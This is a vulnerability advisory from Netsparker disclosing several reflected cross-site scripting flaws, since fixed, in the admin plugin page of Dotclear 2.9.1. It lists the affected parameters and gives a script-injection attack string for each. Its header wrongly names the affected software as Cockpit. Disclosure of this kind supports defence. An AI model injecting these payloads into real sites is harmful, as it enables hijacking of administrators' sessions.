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Multiple Reflected XSS Vulnerabilities in Dotclear 2.9.1

Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in Dotclear
Affected Software : Cockpit
Affected Versions: 2.9.1
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-16-017

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL /dotcl/admin/plugin.php
Parameter Name link_title
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000ED2)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_lang
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000EE0)</scRipt>

URL /dotcl/admin/plugin.php?p=blogroll&edit=1&id=1&id='"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>
Parameter Name id
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_href
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000ED8)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_desc
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000EDE)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
03 Aug 2016 - Issue reported
13 Aug 2016 - Vendor fixed
22 Sep 2016 - Advisory released

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Credits & Authors
This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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